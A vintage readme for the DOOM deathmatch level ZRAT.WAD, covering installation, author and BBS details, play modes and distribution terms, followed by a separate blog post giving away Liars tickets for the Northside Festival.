*** ZRAT *** Brought to you by Banished CPU ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ --> QUICK-START INFO: Unzip the included files into your DOOM ³ ³ directory. [Registered version is required.] Then, to install the ³ ³ new graphics, type "ZRAT". Run DOOM as you normally would, while ³ ³ "including" ZRAT.WAD. [For example, type "DOOM -FILE ZRAT.WAD".] ³ ³ Select the first level of the game [E1M1]. To restore the original ³ ³ graphics, simply type "ZRAT-" at the DOS prompt. ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Title : ZRAT [pronounced "Zee Rat"] Filename : ZRAT.WAD [included in ZRAT.ZIP] Description : Designed especially for DEATHMATCH. Also good for single-player and cooperative play. Includes new graphics, made from scratch by the author, including animated "worm" walls and floors. Author : Dan Gannon, a.k.a. Maynard "the Main Nerd" Email Address : <email removed> Misc. Author Info. : Sysop of Banished CPU, a multi-line BBS which supports Freedom of Speech! BBS Info. : Looking for more great DOOM levels? We maintain an extensive collection of the highest quality available, thanks largely to Terry Hamel! BBS Number : (503) 232-9202 [28.8k multi-line] Additional Credits to : Terry Hamel [author of BUNKER.WAD] and Jeff Magar, for extensive Deathmatch testing and helpful criticism. This level's name was inspired by Terry's often-aggravating style of Deathmatch play. DAMN Zee Rat! <grin> Notes : Provides a great variety of gaming action in every mode of play. Lends itself to numerous strategies. Very intense Deathmatch action. This level has been fully tested, critiqued, and "debugged". Designed for and tested with DOOM v1.2. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ * Play Information * Episode and Level # : E1M1 Single Player : Yes Cooperative 2-4 Player : Yes Deathmatch 2-4 Player : Yes Difficulty Settings : Yes New Sounds : No New Graphics : Yes New Music : No Demos Replaced : All 3 ["Zee Rat" himself recorded demo #2] * Construction * Base : New level from scratch Editor(s) used : DEU v5.21, BSP v1.1x, DMGRAPH, Adobe Photoshop v2.5, and other utilities. Known Bugs : None. * Copyright / Permissions * Authors may use this level as a base to build additional levels, on the condition that Banished CPU is given proper credit, and its (503) 232-9202 access number is given. You may freely distribute this level, provided that you include all of the files listed below, intact and with no modifications. You may distribute this level in any electronic format (BBS, Diskette, CD-ROM, etc.) * Included Files * ZRAT.TXT ZRAT.WAD ZRAT.BAT ZRAT-.BAT DMGRAPH.EXE WORMFLO1.GIF WORMFLO2.GIF WORMFLO3.GIF CRUSTILE.GIF METAL1.GIF METAL2.GIF FILE_ID.DIZ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Banished CPU supports Freedom of Speech! ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 28800 bps (9 lines with V.Fast)...........(503) 232-9202 ³ ³ 14400 bps (11 lines with V.32bis).........(503) 232-6566 ³ ³ 9600- bps (12 lines with V.32)............(503) 232-5783 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ <end of file>


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Giveaway! 2 Northside tix to Liars and complete discography
The only thing people love more than summer is complaining about summer. "Everyone's making fun of me for wearing jorts," "This show is sold out," "Wahhh, it smells like hot garbage everywhere." Well… quit the whining, because we're giving you something good: two tickets to see art punk noisemakers Liars at the Northside Festival this Saturday, June 26. And we'll throw in the band's complete five-album discography (together, an $80+ value). Happy now?
TO ENTER: Email [email protected] by Friday, Jun. 25 at noon. We'll randomly pick a lucky winner. And remember, you have to be an e-mail subscriber to win. Not a subscriber? Sign-up here: it's a long and arduous process that will ask you personal questions we will send directly to the US Government's Ministry of Internet Omnipotence (psyche! Now we're being liars).
Don't forget that Liars' last three albums have gotten the illustrious "Best New Music" stamp from Pitchfork, including this year's effort, Sisterworld, which is a creepy slice of rock that will likely show up on a lot of "Best Of" lists at the end of the year. They also have a political bent to their art, with one of their newest music videos shedding light on the evils of… rocks. Opening for Liars at Newton Barge Park on Saturday will be indie pop mavens High Places and everyone's favorite hardcore band Fucked Up.
And if you don't win (but we know you will), don't cry the hardcore tears, because a four-day pass to Northside is just $40 (20 percent off) with this handy promo code, courtesy of our brokester-in-arms the skint. Northside just might be the best bang for your buck out of all the summer festivals, with four days of music from over one hundred bands, art installations and even a film festival all taking place in Greenpoint and Williamsburg. And unlike some other festivals that take resorting to creative income to afford, you won't be paying for the privilege of getting groped by some hedge fund stooge who's psyched to see the Dave Mathews Band, brah.
So… subscribe to Brokelyn here and email [email protected] by Friday at noon to enter.